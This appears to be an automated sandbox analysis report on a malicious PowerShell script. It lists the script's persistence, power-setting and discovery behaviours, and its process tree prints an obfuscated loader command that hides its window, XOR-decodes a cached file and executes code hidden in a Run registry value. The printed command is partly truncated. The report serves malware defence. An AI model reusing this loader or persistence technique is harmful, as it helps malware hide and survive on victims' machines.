Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/07/2026, 08:19

General

  • Target
    ZA2A_DONE.ps1
  • Size 1.3MB
  • Sample260712-j76jesew5p
  • SHA256 81e6bc9a79e4234febec3a7aeea430d57c9edf46c670d26997e61bb3ef5aa32c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Power Settings 1 TTPs 4 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in Windows directory 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Connections Discovery 1 TTPs 1 IoCs

    Attempt to get a listing of network connections.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 54 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ZA2A_DONE.ps1
    1⤵
    • Badlisted process makes network request
    • Adds Run key to start application
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3744
    • C:\Windows\system32\powercfg.exe
      "C:\Windows\system32\powercfg.exe" -change standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:3584
    • C:\Windows\system32\powercfg.exe
      "C:\Windows\system32\powercfg.exe" -change standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:5104
    • C:\Windows\system32\powercfg.exe
      "C:\Windows\system32\powercfg.exe" -change monitor-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2612
    • C:\Windows\system32\powercfg.exe
      "C:\Windows\system32\powercfg.exe" -change monitor-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:3468
    • C:\Windows\SysWOW64\synchost.exe
      C:\Windows\SysWOW64\synchost.exe
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:924
    • C:\Windows\system32\NETSTAT.EXE
      "C:\Windows\system32\NETSTAT.EXE" -ano
      2⤵
      • System Network Connections Discovery
      • Gathers network information
      • Suspicious use of AdjustPrivilegeToken
      PID:5772
  • C:\Windows\system32\cmd.exe
    cmd.exe /c start /min "" powershell.exe -nop -ep bypass -c "Add-Type -Name Win32 -Namespace Console -MemberDefinition '[DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow(); [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);'; $COnSoleptR = [CONSoLe.WIn32]::GetConsoleWindow(); if ($COnSoleptR -ne [IntPtr]::Zero) { [CONSoLe.WIn32]::ShowWindow($COnSoleptR, 0) }; $AppDAta=[Environment]::GetFolderPath('ApplicationData'); $CachePATH=Join-Path $AppDAta 'usercache.dat'; $XOrBYtes=[iO.fILE]::ReadAllBytes($CachePATH); $KEYBYtEs=[text.EncODING]::UTF8.GetBytes($Env:USERNAME); $dECbYTes=New-Object bYte[] $xoRBytes.LENgtH; for($i=0;$i -lt $XOrBYtes.Length;$i++){$dECbYTes[$i]=$XOrBYtes[$i] -bxor $KEYBYtEs[$i :UTF8.GetString($dECbYTes)); iex([text.EncODING]::UTF8.GetString([MICroSoft.WiN32.rEGISTry]::CurrentUser.OpenSubKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run').GetValue('EdgeAutoLaunch_E1EATH_Data')))"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:6004
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nop -ep bypass -c "Add-Type -Name Win32 -Namespace Console -MemberDefinition '[DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow(); [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);'; $COnSoleptR = [CONSoLe.WIn32]::GetConsoleWindow(); if ($COnSoleptR -ne [IntPtr]::Zero) { [CONSoLe.WIn32]::ShowWindow($COnSoleptR, 0) }; $AppDAta=[Environment]::GetFolderPath('ApplicationData'); $CachePATH=Join-Path $AppDAta 'usercache.dat'; $XOrBYtes=[iO.fILE]::ReadAllBytes($CachePATH); $KEYBYtEs=[text.EncODING]::UTF8.GetBytes($Env:USERNAME); $dECbYTes=New-Object bYte[] $xoRBytes.LENgtH; for($i=0;$i -lt $XOrBYtes.Length;$i++){$dECbYTes[$i]=$XOrBYtes[$i] -bxor $KEYBYtEs[$i :UTF8.GetString($dECbYTes)); iex([text.EncODING]::UTF8.GetString([MICroSoft.WiN32.rEGISTry]::CurrentUser.OpenSubKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run').GetValue('EdgeAutoLaunch_E1EATH_Data')))"
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5136

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_we4rjyd0.x3p.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_we4rjyd0.x3p.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/924-95-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-48-0x00000000052B0000-0x00000000052CA000-memory.dmp

        memory/924-676-0x00000000057A0000-0x0000000005806000-memory.dmp

        memory/924-65-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-67-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-85-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-121-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-139-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-161-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-53-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-55-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-59-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-62-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-63-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-69-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-71-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-149-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-147-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-75-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-77-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-79-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-81-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-83-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-87-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-89-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-151-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-91-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-93-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-97-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-99-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-101-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-46-0x0000000000950000-0x00000000009C0000-memory.dmp

        memory/924-47-0x00000000051C0000-0x000000000522E000-memory.dmp

        memory/924-107-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-49-0x00000000052F0000-0x000000000531C000-memory.dmp

        memory/924-51-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-50-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-57-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-173-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-171-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-169-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-167-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-165-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-163-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-159-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-157-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-155-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-153-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-104-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-73-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-105-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-145-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-143-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-141-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-138-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-135-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-133-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-131-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-129-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-127-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-125-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-123-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-119-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-118-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-115-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-113-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-111-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/924-109-0x00000000052F0000-0x0000000005316000-memory.dmp

        memory/3744-34-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-20-0x000002366FC20000-0x0000023670148000-memory.dmp

        memory/3744-4-0x000002366EF00000-0x000002366EF22000-memory.dmp

        memory/3744-45-0x000002366F470000-0x000002366F4EA000-memory.dmp

        memory/3744-43-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-3-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-0-0x00007FFDCD86F000-0x00007FFDCD870000-memory.dmp

        memory/3744-35-0x000002366F4B0000-0x000002366F4DA000-memory.dmp

        memory/3744-36-0x000002366F4B0000-0x000002366F4D4000-memory.dmp

        memory/3744-33-0x000002366F470000-0x000002366F47A000-memory.dmp

        memory/3744-32-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-31-0x000002366F6F0000-0x000002366F7A2000-memory.dmp

        memory/3744-30-0x000002366F450000-0x000002366F46E000-memory.dmp

        memory/3744-26-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-23-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-22-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-19-0x000002366F520000-0x000002366F6E2000-memory.dmp

        memory/3744-18-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-17-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-16-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-15-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-14-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-13-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-12-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-11-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-10-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-9-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-8-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-7-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-6-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/3744-5-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp